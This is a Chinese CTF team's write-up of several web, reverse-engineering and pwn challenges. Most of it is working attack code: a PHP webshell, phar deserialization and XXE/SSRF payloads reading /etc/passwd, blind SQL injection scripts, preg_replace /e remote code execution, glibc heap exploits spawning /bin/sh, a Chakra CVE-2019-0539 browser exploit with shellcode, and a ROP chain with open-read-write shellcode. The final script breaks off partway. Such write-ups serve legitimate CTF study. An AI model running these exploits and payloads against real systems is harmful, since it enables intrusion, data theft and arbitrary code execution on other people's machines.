Team: W&M
前排广告位:W&M长期招逆向/二进制/密码学/杂项/web选手,尤其是二进制和密码学选手,有意向的大佬欢迎砸简历到[email protected]
两个点
域名需要包含baidu.com
绕过正则和过滤将字符串传入eval中执行
第一个点
队友财大气粗直接买了个域名,成功绕过。 (缓缓打出一个?
第二个点
正则只允许我们传入形如 a(b(c())) 的字符串,且最后一个括号内不能有参数。
参考一叶飘零的总结 https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
但是这题加大了很多难度,过滤了这么些东西
/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/
没有et的话所有带get的都不能用了。想getshell几乎不可能了。
再加上的提示。只需要达到文件读取就可以了。
先构造出一个可以读当前目录的payload
echo(readfile(end(scandir('.'))))
可以读取目录中最后一个文件。
现在需要构造一个能产生.的函数。找到这个函数 localeconv() ,会返回一个数组,数组第一项就是 "."
那么用current(localeconv())取出第一项,发现nt被BAN了,翻手册找到了pos()函数,是current的别名。
那么当前的payload
echo(readfile(end(scandir(current(localeconv())))))
但是flag目录在上层目录,需要用chdir跳转。可以chdir只会返回bool值。我们需要找一个函数接受布尔值并且可以输出"."
想到了时间有关函数 time() localtime(),
time(true)会返回当前时间戳,但是时间戳的值无法转变为想要的"."
localtime()返回数组,可以提取出秒数的值,用chr转换为字符串"." 即在46s时 chr(pos(localtime()))就会返回"."
但是localtime()内接受布尔参数会报错,陷入僵局。
继续翻手册发现了
localtime第一参数默认是time() ,那我可以用localtime接受time函数,time接受一个bool值。
构造最终payload
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
把(买的)域名指向到自己的服务器,服务器上放一个文件
echo "echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));"
然后发包去访问,需要简单爆破下,只有在时间为某分46秒时可以读到源码
www.zip拿到源码
简单审计,明显的hash长度拓展攻击,老套路了。
username:admin
password:admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00admina
登陆之后加上cookie fcb0b00520b914c23b9e95db070008ad
继续审计发现一个phar反序列化点。
view.php中
$file = new File($file_name, $file_path);
跟进后filepath会进入mime_content_type函数。再加上我们可以控制上传文件的内容,达成一条反序列化链。
两种攻击思路
反序列化调用upload_file函数,上传到其他目录获取shell
重写htaccess内容或者删掉htaccess
第一条路由于使用的是move_uploaded_file,会对tmp文件名检测,在不知道tmp名的情况下无法使用。
走第二条路
直接上反序列化构造脚本
<?php
class File{
public $filename;
public $filepath;
public $checker;
function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
}
}
class Profile{
public $username;
public $password;
public $admin;
}
$a = new File("altman","altman");
$a->checker = new Profile();
$a->checker->username = "/var/www/html/sandbox/a87136ce5a8b85871f1d0b6b2add38d2/.htaccess";
$a->checker->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;
$a->checker->admin = new ZipArchive();
echo serialize($a);
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>
构造好后先上传一个简单马,需要绕过黑名单
<?php
$a="syste";
$b="m";
$c=$a.$b;
$d=$c($_REQUEST['a']);
?>
然后将生成的phar上传,利用filter绕过对phar的过滤 (见suctf)
http://112.126.102.158:9999/view.php?filename=dd7ec931179c4dcb6a8ffb8b8786d20b.txt&filepath=php://filter/resource=phar://sandbox/a87136ce5a8b85871f1d0b6b2add38d2/dd7ec931179c4dcb6a8ffb8b8786d20b.txt
触发反序列化。删掉htaccess。此时切记不要访问upload.php,否则会重新生成htaccess。
直接访问沙盒下第一个上传的php文件,拿到shell。
扫描目录可以发现www.zip源码泄露。
大概看了下,发现文章标题处存在二次注入
config中泄露过滤函数,但是作用不大直接使用异或注入即可绕过
`1'^(ascii(substr((select(group_concat(schema_name)) from (information_schema.schemata)),1,1))>1)^'1
接下来写个脚本注入即可
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re
import requests
# 1'^(ascii(substr((select(group_concat(schema_name)) from (information_schema.schemata)),1,1))>1)^'1
def main():
get_all_databases("http://112.126.101.16:9999/")
def http_get(url, payload):
result = requests.post(url + "writing.php", data={'title': "1'^(" + payload + ")^'1", 'content': 'fuhei'}, headers={"Cookie": "PHPSESSID=cs04skbivc1g706vka0f76avt4"})
result.encoding = 'utf-8'
r2 = requests.get(url + "index.php", headers={"Cookie": "PHPSESSID=cs04skbivc1g706vka0f76avt4"})
pattern = re.compile(r'edit.php\?id=(\d+)')
result1 = pattern.findall(r2.text)
result = requests.post(url + "edit.php", data={'title': "fuhei", 'content': 'fuhei', "id": result1[0]},
headers={"Cookie": "PHPSESSID=cs04skbivc1g706vka0f76avt4"})
result.encoding = 'utf-8'
result2 = requests.get(url + "edit.php?id=" + result1[0], headers={"Cookie": "PHPSESSID=cs04skbivc1g706vka0f76avt4"})
print(result2.text.find('ascii') == -1)
if result2.text.find('ascii') == -1:
return True
else:
return False
# 获取数据库
def get_all_databases(url):
db_name = ""
db_payload = "select(group_concat(schema_name)) from (information_schema.schemata)"
for y in range(1, 32):
db_name_payload = "ascii(substr((" + db_payload + "),%d,1))" % (
y)
db_name += chr(half(url, db_name_payload))
print(db_name)
print("值为:%s" % db_name)
# 二分法函数
def half(url, payload):
low = 0
high = 126
# print(standard_html)
while low <= high:
mid = (low + high) / 2
mid_num_payload = "%s > %d" % (payload, mid)
# print(mid_num_payload)
# print(mid_html)
if http_get(url, mid_num_payload):
low = mid + 1
else:
high = mid - 1
mid_num = int((low + high + 1) / 2)
return mid_num
if __name__ == '__main__':
main()
然后根据题目意思来注入找到是vip的用户
解密得到VIP用户 pppr/123
继续审计发现replace.php中存在preg_replace函数,参数可控可导致命令执行
import requests
import base64
cookie={
"PHPSESSID":"pe6c91i1bbks4k21r5endcfh41"
}
def write():
url="http://112.126.101.16:9999/edit.php"
data={
"title":"glzjin",
"content":'glzjin',
"id":"2630"
}
r=requests.post(url=url,data=data,cookies=cookie)
return r.content
url = "http://112.126.101.16:9999/replace.php"
#command = """eval('cmd = "/readflag";$out_path = "/tmp/altman";$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";putenv("EVIL_CMDLINE=" . $evil_cmdline);$so_path = "/tmp/de1ta.so";putenv("LD_PRELOAD=" . $so_path);error_log("", 1, "[email protected]");echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path);')"""
command = """eval("var_dump(scandir('/tmp'));")"""
payload = "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"regex\"\r\n\r\n1\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"find\"\r\n\r\nglzjin/e\x00\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nglzjin\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"replace\"\r\n\r\n" + command +"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n2630\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--"
headers = {
'content-type': "multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW",
'Cookie': "PHPSESSID=pe6c91i1bbks4k21r5endcfh41",
'cache-control': "no-cache",
}
write()
response = requests.request("POST", url, data=payload, headers=headers)
print(response.text)
进去后发现大部分函数被disable_functions禁用了,而且无法跨出目录。于是看了下tmp目录发现存在de1ta.so,分析了下发现是GitHub开源的用来bypass disable_functions用的。于是对照phpinfo发现没有禁用error_log,直接使用error_log进行bypass。
1、打开靶机,看下功能,直接输入一个 rss,给解析出来。
同时限制了读取的域名。
2、那么这里就用 data:// 伪协议直接传数据进去试试,因为 php 对 data 的 mime type 不敏感,直接写成 baidu.com 就可以过这个 host 检测了。为了方便我这里传 base64 之后的。
参考资料:https://www.jianshu.com/p/80ce73919edb
测试没毛病。
3、别忘了 RSS 也是一种 XML,那么就存在 XXE 的问题,我们来试试。
参考资料:https://gist.github.com/sl4v/7b5e562f110910f85397
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>[email protected]</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
啊哈,出来了。
4、那么接下来就来读取站点源码试试,注意有尖括号我们需要套一下 php伪协议,转成 base64。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>[email protected]</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
5、读取结果 base64 解码一下,得到 index.php 源码。
<?php
ini_set('display_errors',0);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('routes.php');
function __autoload($class_name){
if(file_exists('./classes/'.$class_name.'.php')) {
require_once './classes/'.$class_name.'.php';
} else if(file_exists('./controllers/'.$class_name.'.php')) {
require_once './controllers/'.$class_name.'.php';
}
}
分析一下,有个 routes.php,从名字看猜测里面存了路由,然后从 classes 和 controllers 里读类名对应的文件。
6、那来看看 routes.php
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=routes.php" >]>
<?php
Route::set('index.php',function(){
Index::createView('Index');
});
Route::set('index',function(){
Index::createView('Index');
});
Route::set('fetch',function(){
if(isset($_REQUEST['rss_url'])){
Fetch::handleUrl($_REQUEST['rss_url']);
}
});
Route::set('rss_in_order',function(){
if(!isset($_REQUEST['rss_url']) && !isset($_REQUEST['order'])){
Admin::createView('Admin');
}else{
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
Admin::sort($_REQUEST['rss_url'],$_REQUEST['order']);
}else{
echo ";(";
}
}
});
前面三个路由我们抓包都能看到,最后一个有点意思,限制只能 127.0.0.1 访问。
7、最终这个路由,我们来读一下 Admin 这个类试试。读 classes 文件夹下的 Admin.php 时出错,controllers 下的正常。
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./controllers/Admin.php" >]>
<?php
class Admin extends Controller{
public static function sort($url,$order){
$rss=file_get_contents($url);
$rss=simplexml_load_string($rss,'SimpleXMLElement', LIBXML_NOENT);
require_once './views/Admin.php';
}
}
8、那么就再来读读 views 下的 Admin.php。
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./views/Admin.php" >]>
<?php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1'){
die(';(');
}
?>
<?php include('package/header.php') ?>
<?php if(!$rss) {
?>
<div class="rss-head row">
<h1>RSS解析失败</h1>
<ul>
<li>此网站RSS资源可能存在错误无法解析</li>
<li>此网站RSS资源可能已经关闭</li>
<li>此网站可能禁止PHP获取此内容</li>
<li>可能由于来自本站的访问过多导致暂时访问限制Orz</li>
</ul>
</div>
<?php
exit;
};
function rss_sort_date($str){
$time=strtotime($str);
return date("Y年m月d日 H时i分",$time);
}
?>
<div>
<div class="rss-head row">
<div class="col-sm-12 text-center">
<h1><a href="<?php echo $rss->channel->link;?>" target="_blank"><?php echo $rss->channel->title;?></a></h1>
<span style="font-size: 16px;font-style: italic;width:100%;"><?php echo $rss->channel->link;?></span>
<p><?php echo $rss->channel->description;?></p>
<?php
if(isset($rss->channel->lastBuildDate)&&$rss->channel->lastBuildDate!=""){
echo "<p> 最后更新:".rss_sort_date($rss->channel->lastBuildDate)."</p>";
}
?>
</div>
</div>
<div class="article-list" style="padding:10px">
<?php
$data = [];
foreach($rss->channel->item as $item){
$data[] = $item;
}
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
foreach($data as $item){
?>
<article class="article">
<h1><a href="<?php echo $item->link;?>" target="_blank"><?php echo $item->title;?></a></h1>
<div class="content">
<p>
<?php echo $item->description;?>
</p>
</div>
<div class="article-info">
<i style="margin:0px 5px"></i><?php echo rss_sort_date($item->pubDate);?>
<i style="margin:0px 5px"></i>
<?php
for($i=0;$i<count($item->category);$i++){
echo $item->category[$i];
if($i+1!=count($item->category)){
echo ",";
}
};
if(isset($item->author)&&$item->author!=""){
?>
<i class="fa fa-user" style="margin:0px 5px"></i>
<?php
echo $item->author;
}
?>
</div>
</article>
<?php }?>
</div>
<div class="text-center">
免责声明:本站只提供RSS解析,解析内容与本站无关,版权归来源网站所有
</div>
</div>
</div>
<?php include('package/footer.php') ?>
分析下源码,主要是这里有意思,
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
看到没,直接将 $order 拼到函数体里了。那么这里我们就可以利用这里 RCE 了。
当然这里来源 IP 必须为 127.0.0.1,和上面 routes 里的对上了。
9、来利用那个 XXE 来搞个 SSRF,访问这个页面,rss_url 可以随意传个正常的,order 需要插我们要执行的恶意代码。
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http://tech.qq.com/photo/dcpic/rss.xml&order=title.var_dump(scandir('/'))" >]>
得到返回,看到 flag 文件名。
10、读下这个文件。
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag_eb8ba2eb07702e69963a7d6ab8669134" >]>
直接载入IDA 发现是rust的,很多没用的函数 ,就是做各种检查的,应该是编译的时候带进来的,直接忽略,发现主函数的位置有一个反调试, 直接干掉,就可以在IDA里面调试了。
下面的处理很乱,大概的我都是调试总结出来的 。
这里其实就是验证输入的内容是不是 a-z 0-9,后面调试发现 其实只能固定在 a-h o 1 - 3 这几个字符。
下面就是交换字节,四个交换都类似这样,格式是 要交换的 字符+交换的方向
只有 1 2 3 a 这几种方式。判断是华容道游戏 调试把内存中的数据提取出来,
'd', 'c', 'o',
'h', 'a', 'e',
'b', 'g', 'f'
方块移动的规则
1 向上
2 向下
3 向右
a 向左
找个脚本跑了一下 ,对应的
c右a上h右b上g左h下b右d下a左b上e左f上
flag: c3a1h3b1gah2b3d2aab1eaf1
分析apk以后发现没什么东西,都在so文件里面,直接去逆向so文件,发现是一个游戏,
四个都打开,配合着看,我发现IDA解析他们不太一样。有的结构比较清晰。
验证了头部flag
地图生成函数
直接复制下来,去vs里面跑一下,
地图出来了 ,然后圈圈提取出来,爆破出前四位是 good
然后下面就是走了 ,因为最下面有验证质数的,所以如果路过一个圈圈,会覆盖过去
最后会检查质数,但是24 也就是图的中间位置是不用满足的,所以图中间就是那个0x4f
bytectf{good53233212414531}
直接加载会蓝屏,所以我先IDA分析了一通,发现了蹊跷的地方,在取CPUID的地方给数组赋值了,然后还去计算了MD5。但是CPUID是每台电脑不同的,所以根据提示设置了 “FakeIntel”作为ID ,就是FakeIntel + 0xDEADBEEF 。然后计算每四个字节计算一次MD5 最后取前八位组合在一起。
key : 52 a9 65 08 c3 95 36 f0 c2 42 53 9b 77 17 fb c6 1e 31 55 17 41 69 36 05 c0 5a 39 b9 53 28 3d 94
IV直接给出来 : 25 40 5a 86 b5 f1 3e 58 80 9b db 0b 30 49 66 8c
发现我直接用python的AES解不出来。 所以我windbg调试起来,要先NOP掉一个有问题的函数,在解密函数的位置设置内存
直接让驱动把解密完成。
add未检查size的大小,add总数超过size时,read返回值会是-1,向上写入单链表指针,后面攻击list没啥好说的
from pwn import *
p = remote("112.126.98.5",9999)
def add(idx, size, content):
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.send(str(content))
def show(idx):
p.recvuntil("choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
def remove(idx):
p.recvuntil("choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def modify(idx,content):
p.recvuntil("choice: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.sendline(content)
add(0,3840 + 0x10, "\n")
add(1,80,"x"*80)
remove(1)
#raw_input()
add(2,256,p64(0x60)+p64(0x4040e0)+"x"*(0xd0-1)+"\n")
add(1,80,"x"+"\n")
add(2,0x23330000,p64(0x404050)+"\n")
show(2)
libc_addr = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00"))-0x40680
system_addr = 0x4f440 + libc_addr
modify(2,p64(system_addr))
p.recvuntil("choice: ")
p.sendline("/bin/sh\x00")
p.interactive()
chakra引擎直接用的过去的漏洞
https://bugs.chromium.org/p/project-zero/issues/detail?id=1702
CVE-2019-0539
由于JIT引擎判断InitProto操作并不会带来副作用,对象类型不会发生变化,导致了类型混淆漏洞。
网上存在分析文章
https://www.anquanke.com/post/id/173475
直接使用文中利用dateview实现任意地址读写的方法,对poc进行修改。
之后通过内存布局,将要泄露的对象放在数组中摆放在dataview后面进行实现对象地址的泄露。
通过entrypoint劫持的方法,使程序执行shellcode
var convert = new ArrayBuffer(0x100);
var u32 = new Uint32Array(convert);
var f64 = new Float64Array(convert);
var BASE = 0x100000000;
function hex(x) {
return `0x${x.toString(16)}`
}
function bytes_to_u64(bytes) {
return (bytes[0]+bytes[1]*0x100+bytes[2]*0x10000+bytes[3]*0x1000000
+bytes[4]*0x100000000+bytes[5]*0x10000000000);
}
function i2f(x) {
u32[0] = x % BASE;
u32[1] = (x - (x % BASE)) / BASE;
return f64[0];
}
function f2i(x) {
f64[0] = x;
return u32[0] + BASE * u32[1];
}
let shellcode = [0.1,0.2,0.3,0.4];
let shellcode_addr = 0x0;
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));
tm=[shellcode,shellcode,shellcode,shellcode,123]
BASE = 0x100000000;
function hex(x) {
return "0x" + x.toString(16);
}
function opt(o, proto, value) {
o.b = 1;
let tmp = {__proto__: proto};
o.a = value;
}
function main() {
for (let i = 0; i < 20000; i++) {
let o = {a: 1, b: 2};
opt(o, (function () {}), {});
}
let o = {a: 1, b: 2};
opt(o, o, obj); // o->auxSlots = obj (Step 1)
o.c = dv1; // obj->auxSlots = dv1 (Step 2)
obj.h = tm; // dv1->buffer = dv2 (Step 3)
let read64 = function(addr_lo, addr_hi) {
// dv2->buffer = addr (Step 4)
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);
// read from addr (Step 5)
return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
}
let write64 = function(addr_lo, addr_hi, value_lo, value_hi) {
// dv2->buffer = addr (Step 4)
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);
// write to addr (Step 5)
dv2.setInt32(0, value_lo, true);
dv2.setInt32(4, value_hi, true);
}
// get dv2 vtable pointer
vtable_lo = dv1.getUint32(48, true);
vtable_hi = dv1.getUint32(52, true);
print (hex(vtable_lo + vtable_hi * BASE));
obj.h =dv2;
dv1.setUint32(0x38, vtable_lo, true);
dv1.setUint32(0x3C, vtable_hi, true);
vtable_lo = dv2.getUint32(32, true);
vtable_hi = dv2.getUint32(36, true);
print (hex(vtable_lo + vtable_hi * BASE));
dv1.setUint32(0x38, vtable_lo, true);
dv1.setUint32(0x3C, vtable_hi, true);
lo=dv2.getUint32(8, true);
hi = dv2.getUint32(12, true);
print (hex(lo + hi * BASE));
write64(lo+24, hi, vtable_lo+88, vtable_hi);
dv1.setUint32(0x38, vtable_lo+88, true);
dv1.setUint32(0x3C, vtable_hi, true);
let shell=[106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5]
for (let i = 0; i < shell.length; i++) {
dv2.setUint8(i, shell[i]);
}
shellcode();
}
main();
Ollvm混淆。但在ida函数列表中发现了start_routine函数,直接看此函数发现free后sleep再将指针清空。
漏洞就很明显了,条件竞争引起的uaf。直接上gdb调试,fastbin attack攻击malloc_hook完成利用。
#-*- coding: utf-8 -*-
from pwn import *
binary_file = './mulnote'
context.binary = binary_file
context.terminal = ['tmux', 'sp', '-h']
elf = ELF(binary_file)
libc = elf.libc
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
libc.symbols['one_gadget'] = one_gadgets[1]
context.log_level = 'debug'
def dbg(breakpoint):
glibc_dir = '/usr/src/glibc/glibc-2.23/'
gdbscript = 'directory %smalloc\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdbscript += 'c\nvis_heap_chunks 0x555555757000 20\n'
log.info(gdbscript)
gdb.attach(io, gdbscript)
time.sleep(1)
def exploit(io):
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
irt = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
def create(a,b):
io.writeline('C')
io.readuntil('>')
io.writeline(a)
io.readuntil('>')
io.writeline(b)
io.readuntil('>')
def remove(a):
io.writeline('R')
io.readuntil('>')
io.writeline(a)
io.readuntil('>')
def edit(a,b):
io.writeline('E')
io.readuntil('>')
io.writeline(a)
io.readuntil('>')
io.writeline(b)
io.readuntil('>')
# dbg(elf.plt.malloc) # malloc
# dbg(elf.plt.free) # free
# dbg(0xf) # edit
ru('>')
# overlap
create('256','1111111')
remove('0')
io.writeline('S')
ru('\n')
libc.address= uu64(r(6))-libc.sym.__malloc_hook-88-0x10
success('libc.address = 0x%x' % libc.address)
create('96','1111111111111111111111')
create('96','1111111111111111111111')
create('96','1111111111111111111111')
remove('1')
remove('2')
remove('1')
create('96',p64(libc.sym.__malloc_hook-0x23))
create('96',p64(libc.sym.__malloc_hook-0x23))
create('96',p64(libc.sym.__malloc_hook-0x23))
# dbg(elf.plt.malloc) # malloc
create('96','a'*0x13+p64(libc.sym.one_gadget))
io.writeline('C')
io.readuntil('>')
io.writeline('96')
return io
if __name__ == '__main__':
if len(sys.argv) > 1:
io = remote(sys.argv[1], sys.argv[2])
else:
io = process(binary_file, 0)
exploit(io)
io.interactive()
溢出sock_filter结构体,篡改ptrcl的沙盒规则,使openat的syscall return 0(libc的open使用的不是sys_open,巨坑),open函数返回0后read就是从stdin读取数据了。成为vip后可以堆溢出,然后接下来就是tcache攻击到got上方,接着show一下就可以知道libc,然后把free_got改成printf,然后free("%8$p")就是执行了printf("$8%p")这样就可以stack leak,知道stack_addr之后,算出ret_addr,通过堆溢出一直覆盖到chunk_list的位置,然后在第一个堆块放置ret_addr,从而绕过canary构造rop,然后由于之前已经知道libc了,所以直接通过libc中的pop_rdx_ret,来传第三个参数,由于禁用了system和execve,所以通过调用mprotect给bss段上执行权限,然后在bss段放orw_shellcode,即执行open("/flag")、read(3,buf,size)、write(1,buf,size),执行即可输出flag
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("vip")
sh = 0
lib = 0
def vip():
sh.sendlineafter(":","6")
sh.sendafter(':',flat('a'*0x20,
0x0000000000000020, 0x0000010101000015,
0x0005000000000006, 0x7fff000000000006,))
def add(idx):
sh.recvuntil("Your choice:")
sh.sendline("1")
sh.sendlineafter(":",str(idx))
def free(idx):
sh.sendlineafter("Your choice:","3")
sh.sendlineafter(":",str(idx))
def show(idx):
sh.sendlineafter("Your choice:","2")
sh.sendlineafter(":",str(idx))
def edit(idx,size,content):
sh.recvuntil("Your choice:")
sh.sendline("4")
sh.recvuntil(":")
sh.sendline(str(idx))
sh.sendlineafter(":",str(size))
sh.recvuntil("Content:")
sh.send(content)
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
sh = process("./vip")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("libc-2.27.so")
chunk_list = 0x404100
vip()
add(0)
add(1)
add(5)
add(6)
add(10)
free(6)
free(1)
payload = 'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.got['free'])
edit(0,0x70,payload)
add(1)
add(2)
show(2)
free_addr = u64(sh.recvuntil("\x7f",False)[-6:].ljust(8,'\x00'))
libc = free_addr - lib.symbols['free']
system = libc + lib.symbols['system']
execve = libc + lib.symbols['execve']
printf = libc + lib.symbols['printf']
mprotect = libc + lib.symbols['mprotect']
edit(2,9,p64(printf))
edit(10,8,"%8$p\x00")
free(10)
sh.recvuntil("0x")
stack = int(sh.recvuntil("Done!",True),16) - 8 * 13
payload = p64(libc + lib.symbols['free'])
payload += p64(libc + lib.symbols['puts'])
payload += p64(libc + lib.symbols['__stack_chk_fail'])
payload += p64(libc + lib.symbols['printf'])
payload += p64(libc + lib.symbols['memset'])
payload += p64(libc + lib.symbols['read'])
payload += p64(libc + lib.symbols['prctl'])
payload += p64(libc + lib.symbols['malloc'])
payload += p64(libc + lib.symbols['setvbuf'])
payload += p64(libc + lib.symbols['open'])
payload += p64(libc + lib.symbols['perror'])
payload += p64(libc + lib.symbols['atoi'])
payload += p64(libc + lib.symbols['scanf'])
payload += p64(libc + lib.symbols['exit'])
payload = payload.ljust(0x4040a0 - 0x404018,'\x00')
payload += p64(libc + lib.symbols['_IO_2_1_stdout_']) + p64(0)
payload += p64(libc + lib.symbols['_IO_2_1_stdin_']) + p64(0)
payload += p64(libc + lib.symbols['_IO_2_1_stderr_'])
payload += p64(0) * 7
payload += p64(stack)
edit(2,0x500,payload)
pop_rdx_ret = 0x1b96 + libc
pop_rdi_ret = 0x4018fb
pop_rsi_r15_ret = 0x4018f9
base = 0x404000
payload = p64(pop_rdi_ret) + p64(base)
payload += p64(pop_rsi_r15_ret) + p64(0x1000) + p64(0)
payload += p64(pop_rdx_ret) + p64(7)
payload += p64(mprotect)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(base + 0x800) + p64(0)
payload += p64(pop_rdx_ret) + p64(0x500)
payload += p64(libc + lib.symbols['read'])
payload += p64(base + 0x800)
edit(0,0x500,payload)
sleep(0.2)
payload = 'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.gm`f\x01\x01\x01H1\x04$H\x89\xe71\xd21\xf6j\x02X\x0f\x051\xc0j\x03_j@Z\xbe\x01\x01\x01\x01\x81\xf6\xa1AA\x01\x0f\x05j\x01_j@Z\xbe\x01\x01\x01\x01\x81\xf6\xa1AA\x01j\x01X\x0f\x05'
sh.sendline(payload)
log.success("libc: " + hex(libc))
log.success("stack: " + hex(stack))
log.success("system: " + hex(system))
if(debug == 1):
log.success("pid: " + str(sh.pid))
sh.interactive()
if __name__ == "__main__":
pwn("112.126.103.14",9999,0)
漏洞在edit的时候溢出。但由于限制了堆大小,先用unsorted bin attack改掉global_max_fast,然后就可以愉快的fastbin attack了。先fast到stdout改write_base leak得到libc,然后fast到malloc_hook改hook,比较蛋疼的是one_gadget全失效了,于是用到libc_realloc+某个偏移。从+1一直试到+13,终于成功在[rsp+0x30]得到一个0,然后让__realloc_hook为one_gadget就行了
#-*- coding: utf-8 -*-
from pwn import *
__author__ = '3summer'
binary_file = './note_five'
context.binary = binary_file
context.terminal = ['tmux', 'sp', '-h']
elf = ELF(binary_file)
libc = elf.libc
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
libc.symbols['one_gadget'] = one_gadgets[1]
context.log_level = 'debug'
def dbg(breakpoint):
glibc_dir = '/usr/src/glibc/glibc-2.23/'
gdbscript = 'directory %smalloc\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdbscript += 'c\nvis_heap_chunks 0x555555757000 20\n'
